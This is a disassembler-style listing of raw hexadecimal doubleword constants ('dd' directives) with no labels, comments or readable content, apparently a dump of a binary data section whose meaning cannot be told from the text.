dd 439149A4h, 7343EF2Ah, 0E1C0B374h, 0A260DF01h, 6177BE36h
dd 60642E31h, 169D16AFh, 430549BDh, 0EF03904Ch, 1DD251B2h
dd 18580E1h, 0C160AF04h, 0C53DC027h, 5E686726h, 2D5F728h
dd 0CC7DDD90h, 20848482h, 55F61A0h, 2254502Dh, 29E80105h
dd 157FA170h, 66890604h, 518DBD00h, 2932235Ch, 46C8AEEAh
dd 0F1BB00A5h, 2D447C1Ah, 0FE2F3EBEh, 80D3F851h, 4E925B07h
dd 0E93D8058h, 5CB7D6DEh, 577276h, 7D1D769Ch, 41659862h
dd 52007FDFh, 46C33774h, 76819DF7h, 0F6B09486h, 0C2524857h
dd 0BFE7122Eh, 4E0AE818h, 8290C9B8h, 58E0810h, 40F9684Eh
dd 5BB1D8BBh, 74346648h, 8FAB674Bh, 7645F6Fh, 0FA0599C2h
dd 20494100h, 6814D6C5h, 4FA119DBh, 6BACDBC4h, 0B34502E2h
dd 0E90B3CA3h, 51E2C040h, 0F6F51688h, 0D94ABD5h, 49439700h
dd 5B29732Dh, 202F29EFh, 4339E21Eh, 2FE916C8h, 0F5D1B3B0h
dd 0CF6FA41h, 0B2C1592Ch, 0A45BA729h, 0A129A49h, 0F388D7F2h
dd 4961C10h, 1C9DBA88h, 6A35F82Fh, 27BE06A2h, 82C9F65Eh
dd 160BB8Bh, 28E8E954h, 1ABF0244h, 4179FB1Fh, 0FA2BC9EAh
dd 48B41C21h, 20DD0101h, 1A9F0560h, 0C267561Ch, 1C7DD919h
dd 0BE42B54Bh, 859DD5Ch, 0B080DE53h, 5BC8280Fh, 0FF1F859h
dd 20923498h, 560458C1h, 0B0B23F52h, 0C280CA0Eh, 0CEEAC007h
dd 125719DEh, 1FD9663Eh, 0C48CA4B4h, 0EC370611h, 0C0E30FCCh
dd 0EC8708E4h, 5E205F9h, 0A7FE179Fh, 2E064C76h, 190556DAh
dd 0C201F529h, 35252FF1h, 9803FB60h, 64A50763h, 378136CFh
dd 6558E29Ah, 976F2D5h, 342F0B78h, 4881D07Ch, 99E0E1Eh
dd 0CE908647h, 485B7D41h, 20052528h, 0FE102443h, 0AAAC43C5h
dd 8F05F600h, 0F501E68Ch, 0A8E92Fh, 0CFDEBD00h, 221B5981h
dd 0BE549A12h, 68172CF2h, 0AE196477h, 28A613B2h, 0EAD659BDh
dd 93E10DAh, 5ACA60E9h, 3B850F38h, 0B166F7BFh, 0EE05177Eh
dd 3E325D47h, 1840D4FEh, 43EC1C08h, 0C403634h, 0C2CDD4EFh
dd 0D50BCBD3h, 957F8C05h, 7D38EB83h, 0C55E4489h, 0E14A9705h
dd 0EAC45B3Bh, 1F6EC3FAh, 437C2A81h, 7A98E2D0h, 0E9354709h
dd 88BFB921h, 0C5BFD637h, 0AC25BEFEh, 475FB789h, 0A8142766h
dd 616AE939h, 0C786834h, 9753A23Bh, 0D1A638BEh, 0B9598597h
dd 16646387h, 0F1699CFAh, 0F9119D04h, 0EE2114h, 7D39F63Ch
dd 0E92525ECh, 0FF2F4261h, 0C63D2670h, 844EF2D0h, 0F43A6CE5h
dd 1F0D68C4h, 446D5A2Fh, 0DD2B23F0h, 8F3F490Eh, 6120E352h
dd 0BB949D69h, 0AB011B0h, 0D2277E25h, 0E90809F2h, 644B4AE3h
dd 786A3FF0h, 4F0A6817h, 0FF0291F3h, 291EE83Ch, 74C1E642h
dd 0EB37807Ah, 52A468F0h, 4E38F859h, 0DF67B805h, 0FE166F4Bh
dd 0C7D57AD0h, 845C452Eh, 4C224B6h, 0BB921A8Ch, 2CAF1B75h
dd 27B7B83Ch, 5A76FB2Dh, 92F2B51Bh, 0B48E970Fh, 5C4CA9A3h
dd 844B8AA7h, 0FA3109C2h, 0AB010C04h, 0EBE24467h, 28B2555Ah
dd 0DCCC61h, 0BD5FF929h, 0E1259E96h, 0D7F2924Ch, 42685D81h
dd 0CC8C2F64h, 0D803131Eh, 752014Eh, 2A52D687h, 0E90CAFADh
dd 0B1ED8333h, 0EBADF5Bh, 0C16209A9h, 0F9D530DAh, 0DCE989D8h
dd 9BAA8C7Ch, 1729100Fh, 60C8AB3Bh, 0B819BF1Eh, 94605CA3h
dd 4061528h, 0CB5FA6C3h, 27500103h, 0C13A470Bh, 468AA33h
dd 2D0385C5h, 0AD617AF9h, 7BDAC700h, 7451141Eh, 2500BCE9h
dd 828D46DDh, 97A9F7AFh, 2FCD77h, 3B7DB951h, 490927C0h
dd 0BBDDCFE9h, 7006D22Ch, 0B6664A35h, 0B0586551h, 86A1ED04h
dd 9F02560Bh, 0CB51277Fh, 43678880h, 12E2816Ch, 0EB01CFh
dd 0C670EAE2h, 895FBDEDh, 0BA198BB9h, 0AF506ACCh, 77AB4254h
dd 453A4FC0h, 892BC217h, 0ADD633F2h, 2640507h, 0A4ED180Fh
dd 0B37A6DDFh, 6C4EF704h, 8EC021BDh, 12395F17h, 0EAFD013Dh
dd 5540A38Dh, 0BD4362B6h, 51E6A90Bh, 5E0BD727h, 734D103h
dd 0AF122644h, 9701F4E0h, 0F7E09559h, 1313900Bh, 34835CE9h
dd 44EE042Dh, 0D65D0973h, 0F3090916h, 4E196F7h, 0BF1739CBh
dd 0AC39E073h, 404ACF27h, 0B77C0846h, 7830039h, 0E7E8AFE5h
dd 6394BB02h, 2F5D4F19h, 0C17BCBD5h, 3F255E6Bh, 9D25C7FCh
dd 5F7C0C89h, 39B5CA81h, 0CA802F0Dh, 0C030064Fh, 498D329h
dd 4E285141h, 6DE89771h, 61829314h, 6930E8EAh, 8A734FF7h
dd 33F85F1Eh, 5292E9E3h, 64487848h, 15287C3Dh, 2F0D199h
dd 86FA79C5h, 0B30D04Fh, 0C9E95755h, 0DFD3E4D8h, 64615EF0h
dd 0AB5934ECh, 4026F9F8h, 1A01A464h, 9ED01DABh, 5BBAEE04h
dd 0F9F01276h, 79689F31h, 0EF2D64A4h, 0F2B25A1Dh, 9D5E376h
dd 13214C60h, 0FEB67753h, 75960660h, 0D0785FD5h, 90EABF0Ah
dd 0F101C810h, 5B893031h, 70F46F29h, 0DE74BF43h, 0E5E7D7D2h
dd 27AAD4A7h, 0BED36F55h, 0AFF32C40h, 0D304FD1Eh, 0E604AE0Ah
dd 8DEEECB4h, 87C16A5Fh, 16BAE1C7h, 0B99F35B2h, 10444FFh
dd 0AC6F38C2h, 30CA2901h, 5F166533h, 0C1377CCh, 70848FAh
dd 83DC3803h, 592A38E7h, 6021B2D1h, 0FCE1122Eh, 9E98F60Bh
dd 4B12F1h, 0A973FB51h, 0EA58C13Dh, 89462FBBh, 3546F78Fh
dd 6669BBF8h, 8D597758h, 2F997C49h, 0D1145Fh, 21BB850h
dd 0E70D4009h, 4F054D07h, 0D027D8F7h, 0BD6F5C60h, 3B24F64Bh
dd 0DAE6A44h, 261B286Bh, 0BAD296E9h, 0AF09FA5h, 1667BB7h
dd 5B4E59E2h, 9EF2D84Bh, 14DF5418h, 2856CB0Ch, 0BA11FCCh
dd 43E2088Bh, 88010CF9h, 0C3045BD9h, 0E82CC8C0h, 58DCF559h
dd 3EB12E68h, 0CDB46330h, 80E8E383h, 0D07601EBh, 66697997h
dd 0CA582059h, 81E91670h, 0B82A23F1h, 52C7B160h, 5C3E1135h
dd 5325C217h, 1401C30h, 0A050402h, 57B6E91Ah, 0A47E81C9h
dd 659F5EFFh, 0D368848Fh, 89C2A61Bh, 8064E45Fh, 2C29D48Ah
dd 8B7AEA07h, 1B75762Fh, 0AEEC9C7h, 1C209772h, 197C7E2Ch
dd 0D3F75B04h, 0C327D6A8h
dd 565F87E0h, 0C1BF5702h, 0E01F027Eh, 25A38793h, 85E8F548h
dd 56958222h, 0A568C119h, 0C3DF2B4Bh, 49685105h, 0CB9F4412h
dd 2F4A0964h, 8484F559h, 6FC3BD55h, 76BFB0BEh, 0AD3B2659h
dd 0A5D02605h, 2D19E7FFh, 0DC5A9B75h, 0E81A05F2h, 4CC2E55Fh
dd 0AC1C2F70h, 0B6805052h, 8CF68072h, 5AF42D88h, 0CA82A0F6h
dd 574F17E9h, 9A42235Ch, 0EE3077B8h, 0C789B1CEh, 5FF950F8h
dd 418EAD27h, 0CF972008h, 2976050Bh, 3084D83Ch, 7EE807E7h
dd 4007B73Ah, 84BB5345h, 92872A0h, 455B58DDh, 0B36A7113h
dd 0DB213E61h, 5B01E144h, 64F48002h, 0CAC3E8DFh, 58E63230h
dd 0DC77F5C8h, 83020DFEh, 0EE8FBA9h, 0ECF642F2h, 98A57D4Ah
dd 4B56ED6Fh, 0DA8CBEAh, 2160B0E9h, 44D7FE64h, 84CC5A9h
dd 0DD352561h, 90B52E84h, 52F928FBh, 0FBB7530Ah, 0FE0EBDB6h
dd 5AF1055Bh, 0C27D64EFh, 0F6209865h, 5BC94708h, 198CF94Ch
dd 0BB864EE6h, 5A5EE83Ah, 0B3710FE8h, 0CC680130h, 7A7A79D4h
dd 56F07445h, 0E9BF60AFh, 5D821753h, 0B1568D42h, 275A42h
dd 0C3289CB0h, 89D48EB7h, 48638603h, 9AF30A9Dh, 8997B0Bh
dd 7525A6BCh, 5C132ACDh, 7F52FB22h, 0C921328Ah, 0C7DD4F42h
dd 8B011697h, 0CAFB4A1Ah, 0A21F5889h, 614A13C4h, 2779BFA0h
dd 1DA0263Eh, 343364B5h, 5D3DE916h, 0BAD329BCh, 8958AE91h
dd 79F66Bh, 2633F781h, 5F011827h, 0C520AAFEh, 97C747E9h
dd 0C991935Dh, 85741D97h, 45509DEEh, 0E976528Eh, 198E8E5Bh
dd 0ACBA2C4Ah, 24887340h, 2D83875Ch, 70092BF1h, 97367342h
dd 3C89BE56h, 7666B17Bh, 0F2889362h, 4EAD2F68h, 4382D0F1h
dd 750A764Ah, 6269743h, 5C02EC03h, 7F4EC948h, 0D69D5F44h
dd 0B1929657h, 5046FC3Bh, 3722777Dh, 0DA8824D8h, 259928D4h
dd 0F15C4E7Eh, 68C80FE0h, 8C125B46h, 3E41FB85h, 0B513CBF4h
dd 615B2446h, 1DAE8C95h, 3B0E2C42h, 5FBD59BCh, 5B20058Bh
dd 973EC07Dh, 0EFA597E7h, 2EB3A1F1h, 5FED945h, 53017AE7h
dd 3E519E68h, 0A2720h, 0CF1AF7C3h, 56E3E902h, 68091D08h
dd 1FF66A6Dh, 6424B60h, 0DA01290Ah, 82EA8126h, 6A5F155Ch
dd 81353D4h, 47B34F01h, 54DA764Ch, 0BAADBE07h, 0D1019B59h
dd 130D68EEh, 8EC43754h, 0E95380F5h, 0BE03D3C9h, 965558D7h
dd 0CC453227h, 24A2E01h, 0E1404234h, 7A9676B8h, 4B681330h
dd 21AC8C01h, 673A2802h, 0DD58D5E9h, 0D677C11Ah, 0B16ACDFh
dd 0A88003EDh, 51B739E2h, 250EA3B8h, 744D04h, 2C05E52Dh
dd 0E9570B78h, 0D1E73BF0h, 7F08A726h, 0FB78803h, 5A5DA430h
dd 0D14F3B97h, 0AFC44465h, 2E29C312h, 129AAC00h, 0D4705B08h
dd 5D080107h, 228F0BE9h, 4F8BD1C9h, 252B28D9h, 343909B2h
dd 505ACA4Eh, 0CA5EB8B7h, 0AC523193h, 0F92A829Eh, 9C4599BDh
dd 0BF3D80FCh, 0CB215AECh, 0AE98956h, 4EB9BB60h, 312C3A12h
dd 52F037EFh, 0BF5006E9h, 0DAEE07EAh, 23B5A15Bh, 0B1CC1BF8h
dd 51D3033Fh, 30E16E85h, 0BD1681F0h, 25433962h, 0B9030DE8h
dd 6C0202C2h, 0F2617B5Bh, 80443C56h, 62B8EE81h, 0D0075D7Dh
dd 0B2E63727h, 6DD35C28h, 9F71344h, 54568D2h, 0EB5280B1h
dd 49B360B0h, 1224CD90h, 12A7FF97h, 0F7FF897Ah, 10803E29h
dd 0A98639EAh, 46CE5777h, 2A6F0393h, 5B28EBE9h, 0A16D905Fh
dd 604C8A67h, 0B7BD20FBh, 4F5F6D09h, 9C5BAEBFh, 965BA5CCh
dd 5ADA942h, 9290005Dh, 9791352h, 732FF57Eh, 0B741E4FEh
dd 0CF27746Ch, 77E2B2B5h, 0DC5D8562h, 7ABA569Ch, 0DC9D4A98h
dd 0D9C83FFh, 8A056891h, 2DFD5451h, 6FB7D502h, 3DC0FDF5h
dd 504949E9h, 0E12F19h, 104583E4h, 5B1A11Ch, 921F82Bh
dd 0E120ACC7h, 0D235E8D9h, 391BCAECh, 14FED23h, 3A8E38CCh
dd 0DD5890D5h, 4C745E5Eh, 0C33761B4h, 3D2CE50Fh, 0ABD06932h
dd 0F051F096h, 6EDA3018h, 0BA26510Ch, 7729A127h, 0F0826016h
dd 0BB00B576h, 616D60AAh, 0AEEB6EC1h, 0F0439E61h, 360C8207h
dd 414D7340h, 4292233Fh, 0F6970141h, 9F1DF0F7h, 6C5C5524h
dd 0A2CB014Dh, 0DD590802h, 5003BAA9h, 1E7A3A12h, 0A7054D3Ch
dd 99C7575Fh, 12E751A7h, 947F21D2h, 685D003Bh, 0ED5F4A93h
dd 4E249133h, 585B48FDh, 0EBE99608h, 72BBF45Eh, 0F1CAC7CEh
dd 0C948FE5Dh, 556BBF7Ch, 0F92F3664h, 205A665Dh, 0D981DEFh
dd 500C104Dh, 5B5ED8BEh, 33D6FED0h, 0EBEEC062h, 7FDB1183h
dd 0CD0EA0C1h, 0B13B2A26h, 0F416B1Bh, 181706F2h, 0E9127A29h
dd 59A78121h, 32AB2E29h, 448258CBh, 0D9D7F5D2h, 0BE5C6476h
dd 0E9091A8Bh, 0AAB8DF5h, 0DA9D6578h, 0C30E347h, 481E1F4Dh
dd 9DFD373h, 0ECB03AB8h, 20241DB1h, 0B3006202h, 0E97DBC70h
dd 4B7F4B75h, 470777FAh, 1E816F39h, 735AC370h, 3D524B68h
dd 49962B01h, 2E623275h, 2E300841h, 16B5BE9Fh, 25748A59h
dd 26354551h, 145F5A80h, 21FE9F01h, 0BF574A54h, 0EE48799Eh
dd 0C2A82024h, 0F50B69B0h, 0E1DC3589h, 0D3A92964h, 0D03FCC00h
dd 384DE97Bh, 2BCD77C7h, 681AA760h, 5F5D66C5h, 0B8050BD0h
dd 31120A1Eh, 8D39D1FFh, 0EA3B9758h, 907B49EDh, 0DFA2BF49h
dd 9BABF212h, 75C109F7h, 6DC2C40h, 4D605B72h, 3BCC600Eh
dd 9FE9734Eh, 0E780C001h, 1EFCC92h, 0C68306CFh, 4F4C7265h
dd 279EED05h, 2FA8F62Dh, 68C12BF4h, 812823E3h, 0DA738EC0h
dd 1F2FE951h, 0EACDDAA3h, 0E5599F36h, 7C41246Bh, 6B40112h
dd 3A1B9779h, 841E9ACh, 955E0CA7h, 0CFFF5A97h, 5EE05CA9h
dd 0B9616289h, 0F07B1AA7h, 0DCADF76Ah, 6A2C0B1Bh, 0D54970F4h
dd 0D7D260B8h, 74E01ED2h, 987A7192h, 13914AC8h, 75B3BE1Fh
dd 0D8393385h, 0CDF2B3B2h, 0B7D02A4Ch, 0B2AAE935h, 395DC956h
dd 0CE226CE4h, 59A8E126h, 0BC352ABBh, 0B84F1CEDh, 716E4CCEh
dd 38176110h, 20121C3Dh, 0CEFCC069h, 43276389h, 88687457h
dd 0F4279FCAh, 923045DCh, 0F5C45DCBh, 8B607695h, 0B9F7AD9Dh
dd 4386BFD1h, 0C11B2D68h, 9089EA27h, 957AB616h, 0E711857Fh
dd 4ABB6982h, 16505666h, 25DFB8F8h, 7A475D5Eh, 719DB72Ah
dd 0C23CC54Ah, 6076680Ch, 65D160D2h, 4DA7C1C0h, 4303272Ah
dd 0EB7BE7C6h, 6D578E5Fh, 5FEA98BEh, 744FE970h, 0BB006DC9h
dd 4CD17053h, 0B23A9745h, 0B23E5F18h, 38163688h, 0C1EA4750h
dd 7F3544FCh, 0ED50759Ah, 80C08273h, 0B6017C15h, 0DA84B85Bh
dd 937F69BDh, 0FE903265h, 0C527016Dh, 9284758h, 0F409834Fh
dd 6EC07075h, 54015450h, 0AD8970E4h, 0F84FC4Ah, 5360CF81h
dd 5DE942B3h, 8B90E25Ah, 7BFBD245h, 1DE4EBCh, 397D2D7Fh
dd 0EBCF4047h, 6A2D558Fh, 0E7085D54h, 40F52808h, 0EC48086Bh
dd 0E4C01792h, 0D9E4371Dh, 0FDDB5362h, 0F51F9ED9h, 8B39DFCFh
dd 0A58B0254h, 0A583739Dh, 7E42A6F4h, 53715D37h, 4D396841h
dd 29B1522Ch, 98F26BD7h, 7177E9C2h, 0D0B36068h, 80CBFE07h
dd 0A8D531F3h, 0A86EEAA1h, 4B08B65Eh, 29CBFE68h, 64590500h
dd 0D0296012h, 2A072D51h, 0E8759744h, 71E4BD03h, 79053A80h
dd 0A2E7216h, 0EBF302A0h, 6B895901h, 0A07B85D0h, 0B1F95A01h
dd 89B03AC0h, 0C8434A82h, 7C17AC3Bh, 0A3804677h, 0C1D40E3h
dd 0D3F76E43h, 412CC910h, 0EB13EDDBh, 0CA6DD200h, 0B7A257E9h
dd 65A57B73h, 12FBEA97h, 0AB24AA1Fh, 0B9C9DDE2h, 0FCAF0FD6h
dd 88602839h, 602047EEh, 197B0681h, 0A4A4216Ch, 3173E917h
dd 22C5B92h, 1F4939B1h
dd 0A7403E99h, 0F3502DEAh, 0F2CA972Fh, 97FE0809h, 0C2065628h
dd 28A511FFh, 890D014h, 0E52BA54Ah, 0BE52D2Eh, 0E0E47C1h
dd 0B841A146h, 0F03AE4F1h, 2A413E6Fh, 3DEBFB40h, 6D685891h
dd 60E00810h, 4656E47Eh, 0AAC9018h, 15637561h, 7C8B3F9Dh
dd 0BF8054DFh, 2853BFB4h, 0E8A9895Fh, 8B1DFC92h, 91A1608h
dd 6B226855h, 0A3809879h, 0D15B251h, 4A0B022Bh, 26C5E92Ah
dd 569F7F67h, 0CEB658CBh, 41DFF6DDh, 0CA413E89h, 73917D36h
dd 0BF87A3F4h, 331575A0h, 29451B37h, 0F75B0802h, 0AF5840Bh
dd 5A185E8Fh, 1E53AD64h, 533DBFBBh, 8B12002Ch, 500A5474h
dd 7BF0B804h, 0C0BB7834h, 25A9E940h, 0E5D185C9h, 9C7F2F10h
dd 0E90DC4E7h, 2B3EA1CBh, 0CB2E05DDh, 77ED5F2Ah, 0F4546E13h
dd 0AF124407h, 45FB8EBCh, 0AF667495h, 8F414C8Bh, 4AC4BC2Fh
dd 662F3D04h, 21865209h, 7B4158A1h, 0EA1B902Bh, 1E606B9h
dd 0FB09E2ECh, 5F1EC740h, 0BF6292A0h, 0E913ED39h, 0EF92186h
dd 0D218B8D2h, 29E98E03h, 0C5E64F6h, 0EE44B431h, 5D6F3F09h
dd 630AD12Ch, 292F88A0h, 9A925EC6h, 0E2DD405Dh, 153BCEF9h
dd 7F501A68h, 0BD145425h, 248E535Ch, 4700A431h, 435DEB89h
dd 164BE9h, 685954DDh, 57B93C83h, 98325793h, 0BB1DC5Fh
dd 65D9D901h, 9C03C56Ah, 0F86A8736h, 7668C1F1h, 0E340BD30h
dd 0A983E38Eh, 59623479h, 0FBAFB004h, 0C933D146h, 1CBB006Ah
dd 4A05733Dh, 516C8050h, 0B83E5A4Ah, 8B47246Fh, 2D4F4C13h
dd 396CF281h, 4866B55Ch, 0B53AE912h, 5B7864B2h, 0BECDC0B1h
dd 38E4344Dh, 8B5FBF4h, 2124B5A4h, 0E5AF6918h, 0D301296h
dd 7FAD004Fh, 1139E97h, 0FC04A4A3h, 2C264353h, 0D0F0ECEAh
dd 4EE580Bh, 0D1B0822h, 22AB0AEh, 9109E913h, 0D403839Dh
dd 4633E9F7h, 12DB8320h, 9013E3Bh, 35D2C8EEh, 7FC7D20h
dd 454EB80h, 281E2191h, 3C812FD8h, 0AD3A3D0Bh, 30A297F4h
dd 4E14A812h, 0DCE4FBDEh, 0F28CBA47h, 0AF1E5408h, 56F90CCFh
dd 0F7F87CFEh, 5C643C09h, 25918019h, 80115036h, 1F69F4B5h
dd 373850FEh, 0E49FBC91h, 5BB4815Ah, 9C197928h, 0C280FA07h
dd 912CC1DFh, 0C884D028h, 88A07FE9h, 7378F673h, 0FC70ED27h
dd 1AB9C0BAh, 0D0BD4E2Bh, 78516CFh, 0BA481731h, 17349642h
dd 4E2F8F3h, 4BE95556h, 52C49538h, 608AAF00h, 0E83A897h
dd 174E6BE9h, 0FCB839FAh, 8C9C9E46h, 0BB69C781h, 7492AF87h
dd 0AB275231h, 3D1C21CAh, 63FC2F07h, 67DC55Ah, 9D572DE9h
dd 43A96804h, 99AF4B35h, 0C17F6CD3h, 635A5FABh, 16FB6530h
dd 0B04DDD5Bh, 742FE9DEh, 0CDFD276h, 7CEC5D03h, 55136DF2h
dd 1EA444D8h, 2E5305DFh, 25F131B0h, 7DB90135h, 0C8EC68C8h
dd 1B976E37h, 0E9280921h, 987F7118h, 0E4AAF355h, 3EB06937h
dd 14240CAh, 2B904C72h, 7ABCA7EEh, 7E1C001h, 9970B753h
dd 0B449963Bh, 3D45C05Eh, 121EEF59h, 6949A02Dh, 6A0CD794h
dd 36025EB8h, 53E93A72h, 0A798773Ch, 0D27A1B92h, 9249593Fh
dd 0CEE467E8h, 273BB475h, 80133C7Fh, 803E8770h, 152C58BEh
dd 0F11FB1DBh, 94F02212h, 5B9309B9h, 4AD608A2h, 742D1924h
dd 2CE986D2h, 5A4B2678h, 8A5335BCh, 0F3C80150h, 0A8984057h
dd 81974AE9h, 40D8299Fh, 0AF761FD9h, 0B5AD0B4Eh, 5DD4E816h
dd 7E0A896Ch, 5871A5Eh, 0EA4C894Dh, 9D4B707Bh, 7FFA2FDEh
dd 7AA67D97h, 493271A7h, 20BD8E8Dh, 0DF4DF5D7h, 0F8881C5Ch
dd 5B2CD6A8h, 0FB080D66h, 27B902A4h, 34605C1Ah, 4104DEC1h
dd 0E1D10DA7h, 5E2EF080h, 0E3245F5Dh, 0DA0C606Dh, 9D824285h
dd 0B8756E8Bh, 4125E942h, 751C3A3Ch, 60F0E1DCh, 5E20DD2Bh
dd 2E07A153h, 572762AEh, 29FD84E2h, 98F3E476h, 0C5792022h
dd 0A00CE0B7h, 44222527h, 0CC01ACF0h, 50D705ABh, 4A24E889h
dd 522C4A8Bh, 0DC92BECFh, 0F36D405Ch, 3BB68030h, 1FB15103h
dd 0EAE0F180h, 495D61Bh, 1E468468h, 0FD6F5D9Ch, 1DA6D128h
dd 58E544F4h, 0A7E5FA5Ah, 1E2C0130h, 0D39904A3h, 0DDB4D363h
dd 5EFEBE13h, 0E9C3BEB6h, 220259E2h, 62232BFh, 34FF82Fh
dd 30AC6852h, 701901B6h, 2D8E7AECh, 26A8B57Bh, 600127EEh
dd 48AE3830h, 62185F0Ah, 7715D335h, 8097D288h, 370BC281h
dd 8070F64Ah, 0A41F11B9h, 9739009h, 7EE8144Ch, 0E92762F0h
dd 90EE55ADh, 8FD276F6h, 0F92AA0EAh, 90780AD8h, 0BC2FE139h
dd 0F280B1EAh, 0A5C5FDAh, 0CCADF651h, 1A1AAFC2h, 58C1AF68h
dd 2DBB3AE1h, 0EA329D1h, 4705E268h, 71D98B52h, 0BEB36F89h
dd 0F848B1CBh, 0F2BF5120h, 0F4291344h, 0E644BE3Fh, 46BE8218h
dd 417F2204h, 21BA444Ah, 0D86B5E5Eh, 32DF580Ch, 0D5FC7FD6h
dd 184989C9h, 5F6282E0h, 0E1188A7Ah, 3C70084Ch, 15AA0EE6h
dd 9CDE7671h, 66101826h, 0E7BF5EF0h, 5A8CA072h, 0E25AE4D3h
dd 39BF915Eh, 46EB2E01h, 0EB287646h, 4A605EBDh, 0A1C5259Dh
dd 0C1ECEE80h, 38E9FA7Ch, 0EA4B69BCh, 0ACF3D299h, 206899B0h
dd 0F4B70574h, 4BE9C72h, 0B0411126h, 0D35FF71Ch, 806B418h
dd 4F5F33E9h, 6197ED6Dh, 0F3898F83h, 748204E9h, 88FCC66Ah
dd 1084F148h, 0BF0235B3h, 6AA11D1Bh, 0C7FA88E0h, 31263E02h
dd 76B6E9FDh, 68580347h, 951C0F23h, 0DC2F19B4h, 8568D099h
dd 0F49DFBB2h, 0E92F54B2h, 0B527D86Eh, 0EDBB2438h, 0F2BE19CBh
dd 0E36CB277h, 0E9A0C878h, 4C971C42h, 393F2058h, 87C58016h
dd 50E53004h, 1F30E317h, 8A49D389h, 6261562Fh, 0B2D97D82h
dd 28D6F627h, 0B8BA4048h, 0A6096924h, 812B8025h, 2916E0CBh
dd 8B631370h, 421245D2h, 7C0B7759h, 887EFCF8h, 916941Dh
dd 0EDEABA40h, 9F13A746h, 472FE82h, 0A290B8E6h, 5864E282h
dd 0D142B02Dh, 1D0A8245h, 5B776323h, 820C20B2h, 0A037FC08h
dd 0FE5E9F1Ch, 6D52C596h, 0CBB8F4EFh, 2F4D6E49h, 0A44571EDh
dd 9A50AD9Dh, 0EAE72D60h, 7B6A8D4Ch, 552B2E6Ch, 0B1056F43h
dd 3F34BA60h, 0FBE1EC4h, 67EC80DEh, 0F4BD0106h, 868639B1h
dd 28DCB050h, 3324697Eh, 0F6AF48E5h, 39A303BAh, 0A4163563h
dd 8812E125h, 134241B4h, 0B1677674h, 0BB070494h, 908B7C0h
dd 50125E53h, 0F13BBB41h, 0E6E20114h, 6D64E106h, 0E9064CEDh
dd 61C80DE6h, 2FB40B24h, 0D104C7E3h, 78CFAFFFh, 0AFF68C17h
dd 4C4224CCh, 89A29D4Fh, 0B2206D50h, 3F6818A5h, 620D4351h
dd 109D2F9Ah, 5A7768CAh, 0DDD1DC53h, 0BD003841h, 5E437AD0h
dd 186851Eh, 27F2529Ch, 0D08E3A44h, 179AE5Ch, 0E44891CEh
dd 3BDEE90Eh, 5795A917h, 0FEEAF809h, 20B0E9ABh, 2F5664E9h
dd 14F610F4h, 718BB02h, 566D01h, 599DB620h, 0C22469D6h
dd 0CB16EF1Fh, 6905D160h, 4DD91D7Bh, 0AE968240h, 0BA4AABF7h
dd 2A012441h, 804F8BE2h, 0F8B850EDh, 5D185501h, 76155C0Dh
dd 0A48C57Fh, 89A065FFh, 6B505FFDh, 47C525A8h, 50BAD4EDh
dd 338E4D17h, 9FBD97A0h, 14D7118Bh, 6C82B503h, 94F56411h
dd 3D0120F0h, 0EE774E7Ch, 0CCA2464Ah, 0D0F3B307h, 32C293EBh
dd 0FAC05D2Eh, 0F381DA13h, 0B82F9468h, 5CC5C1AAh, 0EF2B35A6h
dd 0CCE93921h, 0BD019628h, 1CEB7FBBh, 0FEF82E09h, 0AC17B13Dh
dd 0E963C074h, 7BBA871Ah, 5D93FFB4h, 0C6D47F1h, 8EA5E90Ah
dd 8254A5FDh, 9069684h, 57D79CD2h, 0F15B4F7Ch, 0BC3468B7h
dd 0C2F8E55Dh, 0E80B4A0Eh, 8C563DE4h, 1A69F7BEh, 6A5C31EEh
dd 0FA03800Bh, 89200158h
dd 63BB0138h, 877C3132h, 9CC37BD3h, 81908D36h, 0B2304858h
dd 16EE7AF3h, 0E0FCDAEDh, 29255DE4h, 0B95980CDh, 0EF2B8F18h
dd 0D2E0A33Fh, 0C113E9F2h, 0DB5DF920h, 66F08531h, 5AF2F4CBh
dd 0AD01AA21h, 1BE0577Dh, 5061604h, 0EB75441Bh, 5579C8F2h
dd 0ED3F9240h, 6A9C410Ch, 57A2BBE9h, 6F1107C1h, 553226B2h
dd 4F07E15Ah, 7D8EA3F2h, 791B51Ah, 39082A51h, 0D7280168h
dd 0CAA52C5Ah, 90ECBC43h, 485DBFEAh, 122A6A24h, 424D0D03h
dd 8F7B00Eh, 467D2F10h, 84BF6B5Eh, 0EB65BE80h, 0E5D19691h
dd 0B26F5ECh, 31BAC55Ch, 0CE0815F1h, 0AF5F1379h, 5ADE198Ch
dd 0A64EFD5Bh, 0F1469D0Ch, 21F905B5h, 0E9A888AAh, 5A569438h
dd 8F8C27ABh, 0A6AE9269h, 0AB2AAFA5h, 40ECF828h, 0B20F5206h
dd 44C2FEFBh, 28AAD69Fh, 7C0BEAA9h, 42AF555h, 0FFE5D0C4h
dd 0FCE0FFD9h, 0B374BFB3h, 4291F669h, 796C7D41h, 82DE272Ah
dd 0A00FD980h, 94548082h, 0EC4D5A1Fh, 35B204C6h, 0EB895D02h
dd 31E94300h, 954B3D73h, 5C49A6F9h, 61BC08E6h, 28FB0196h
dd 564B5A00h, 0DD0DAEBh, 0C59620E9h, 4A52B342h, 5940FD6Ch
dd 0C8240697h, 20004554h, 89B9CB01h, 99E913EFh, 6772EEBBh
dd 2061F831h, 0BE050BA9h, 719932D4h, 2F7DB5A8h, 35DA3B03h
dd 772F1DECh, 3FCAF40Bh, 42D0E713h, 58742C40h, 7344AE48h
dd 0E978C904h, 45FAD2A6h, 0B93EDD8Eh, 9DBFC0BBh, 9DEED3D8h
dd 89C93DF6h, 836A42D0h, 536E419h, 7BDECB3Dh, 0EB71C0D1h
dd 0DA062403h, 15C4E96Ah, 5BB96E2Eh, 77ED891Eh, 0B58BB075h
dd 43688025h, 23BC704Bh, 0D05E4AC9h, 7D04FF42h, 2AA447DBh
dd 41127717h, 50E7EA15h, 35F0F86Dh, 2CAF3E5Fh, 559A43F7h
dd 440DA2A0h, 32525A2Ch, 92E3C10Ch, 0D8744F95h, 41644A47h
dd 13BBF43Dh, 959DBAADh, 5928D6F9h, 0A72D583Bh, 0C05AD9E0h
dd 53079390h, 0F380F1B3h, 0B05E48Fh, 0CD40A8F7h, 81578299h
dd 3A1A0D3Ah, 985DD624h, 0C2F2353Ah, 3E8B81D3h, 80FC7A52h
dd 0A81E08D3h, 0A6AA5D12h, 68086379h, 70A2B436h, 9272F150h
dd 255E7FD7h, 62D927CFh, 0D57E2FBAh, 19172918h, 1CBC8BB9h
dd 552F0AB0h, 5F4AFDB4h, 17DE8EAAh, 67B9657Eh, 37D30186h
